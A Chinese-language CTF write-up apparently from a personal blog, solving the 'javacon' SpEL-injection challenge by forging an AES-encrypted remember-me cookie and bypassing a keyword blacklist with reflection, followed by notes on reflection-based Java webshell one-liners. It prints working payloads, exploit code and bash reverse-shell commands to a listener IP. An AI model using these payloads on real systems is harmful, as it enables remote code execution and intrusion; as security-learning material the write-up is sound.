javacon Writeup

18年p神在Code-Breaking Puzzles中布置的一道SpEL表达式注入的题目javacon,在这里复现学习一下。

题目地址:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar

解题思路

运行jar包开启服务。然后开始审计这个项目,项目结构:

首先查看application.yml

spring:
  thymeleaf:
    encoding: UTF-8
    cache: false
    mode: HTML
keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: admin
  rememberMeKey: c0dehack1nghere1

有俩个自定义配置keywords和user,前端页面使用thymeleaf。因为我们通过输入来利用漏洞所以直接查看MainController.class,功能不多就是登录操作,主要看这里

@PostMapping({"/login"})
public String login(@RequestParam(value = "username", required = true) String username, @RequestParam(value = "password", required = true) String password, @RequestParam(value = "remember-me", required = false) String isRemember, HttpSession session, HttpServletResponse response) {
    if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
        session.setAttribute("username", username);
        if (isRemember != null && !isRemember.equals("")) { //勾选了isRemember选项
            Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
            c.setMaxAge(2592000);
            response.addCookie(c);
        } 
        return "redirect:/";
    } 
    return "redirect:/login-error";
}

简单的说一下吧,将post过来的username和password和application.yml中的账号密码进行对比,不正确直接跳转到错误页面,正确的话会判断是否勾选rememberme。如果勾选将会新建一个特定的cookie字段并返回给用户

回到处理默认页面的部分,@GetMapping不加任何参数就相当于@GetMapping(value="/")

@GetMapping
public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue, HttpSession session, Model model) {
    if (rememberMeValue != null && !rememberMeValue.equals("")) { //remember字段存在且有值
        String str = this.userConfig.decryptRememberMe(rememberMeValue);
        if (str != null)
            session.setAttribute("username", str); 
    } 
    Object username = session.getAttribute("username");
    if (username == null || username.toString().equals(""))
        return "redirect:/login"; 
    model.addAttribute("name", getAdvanceValue(username.toString()));
    return "hello";
}

如果cookie中存在remember字段且不为空,将会对该字段进行解密。注意最后这段代码model.addAttribute("name", getAdvanceValue(username.toString()));,会调用getAdvanceValue()方法处理username

private String getAdvanceValue(String val) {
    for (String keyword : this.keyworkProperties.getBlacklist()) {
        Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
        if (matcher.find())
            throw new HttpClientErrorException(HttpStatus.FORBIDDEN); 
    } 
    TemplateParserContext templateParserContext = new TemplateParserContext();
    Expression exp = this.parser.parseExpression(val, (ParserContext)templateParserContext);
    SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
    return exp.getValue((EvaluationContext)evaluationContext).toString();
}

首先会对username进行黑名单比对,如果与黑名单中内容成功匹配将会抛出HttpClientErrorException的异常。如果没有问题就会使用SpEL的方式输出。SpEL只要使用到了StardardEvaluationContext就可能会存在表达式注入漏洞,SpEL默认使用的是StardardEvaluationContext,而在这里的SmallEvaluationContext是该项目中自定义的EvaluationContext,其继承了SmallEvaluationContext,所以存在SpEL注入漏洞就必然

public class SmallEvaluationContext extends StandardEvaluationContext {
  public void setConstructorResolvers(List<ConstructorResolver> constructorResolvers) {}
  
  public List<ConstructorResolver> getConstructorResolvers() {
    return Collections.emptyList();
  }
}

绕过

先看一看过滤的部分:

for (String keyword : this.keyworkProperties.getBlacklist()) {
    Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
    if (matcher.find())
        throw new HttpClientErrorException(HttpStatus.FORBIDDEN); 
} 

Pattern.compile(keyword, 34)创建一个正则表达式对象34表示忽略大小写。Matcher#matcher(val),将username拿过来进行匹配,matcher.find()从0号位置开始寻找

过滤内容:

  • .:匹配除"\r\n"之外的任何单个字符
  • +: 一次或多次匹配前面的字符或子表达式
  • *: 零次或多次匹配前面的字符或子表达式
blacklist:
- java.+lang	// 相当于过滤了一个或多个java.和lang
- Runtime	    // 过滤Runtime
- exec.*\(      // 

其实这个很好绕的,俩次反射就可以绕过了。

#{T(String).getClass().forName("ja"+"va.la"+"ng.Runt"+"ime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("ja"+"va.lan"+"g.Run"+"time").getMethod("getR"+"untime").invoke(null),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.44.129/7777 0>&1"})}

然后进行服务端规定的AES方式加密。

import java.io.UnsupportedEncodingException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class Encryptor {
    public static String encrypt(String key, String initVector, String value) throws UnsupportedEncodingException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, InvalidAlgorithmParameterException, InvalidKeyException {
        IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
        SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
        cipher.init(1, skeySpec, iv);
        byte[] encrypted = cipher.doFinal(value.getBytes());
        return Base64.getUrlEncoder().encodeToString(encrypted);
    }

    public static String decrypt(String key, String initVector, String encrypted) throws NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, InvalidAlgorithmParameterException, InvalidKeyException, UnsupportedEncodingException {
        IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
        SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
        cipher.init(2, skeySpec, iv);
        byte[] original = cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));
        return new String(original);
    }
}

构造:

import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.io.UnsupportedEncodingException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;

public class Exp {
    public static void main(String[] args) throws NoSuchPaddingException, InvalidKeyException, UnsupportedEncodingException, IllegalBlockSizeException, BadPaddingException, NoSuchAlgorithmException, InvalidAlgorithmParameterException {
        String username = "#{T(String).getClass().forName(\"ja\"+\"va.la\"+\"ng.Runt\"+\"ime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"ja\"+\"va.lan\"+\"g.Run\"+\"time\").getMethod(\"getR\"+\"untime\").invoke(null),new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/192.168.44.129/7777 0>&1\"})}";
        String base64_username = Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", username);
        System.out.println(base64_username);
    }
}

本地搭建的环境,ubuntu做服务器,kali做反弹shell的监听机器,最后在kali端成功得到监听,拿到flag

Java-webshell

最基本的webshell

java.lang.Runtime.getRuntime().exec("calc");

反射版webshell

首先问这样写行吗?

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("calc");

答案是不行,因为Method#invoke()方法的默认返回值Object类型,我们调用Runtime#exec方法是需要对象类型是Runtime,所以我们需要这样书写:

((Runtime)(Class.forName("java.lang.Runtime").getMethod("getRuntime")).invoke(null)).exec("calc");

现在问题有来了我要是过滤了exec关键字怎么办?使用反射调用exec方法

Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke((Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)),"calc");

上面这种写法在curl读flag的时候可以这样写,如果是反弹shell可以这样写:

Class.forName("java.lang.Runtime").getMethod("exec",new Class[]{String[].class}).invoke((Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)),new Object[]{new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.44.132/7777 0>&1"}});
posted @ 2022-07-05 23:24  B0T1eR  阅读(155)  评论(0)    收藏  举报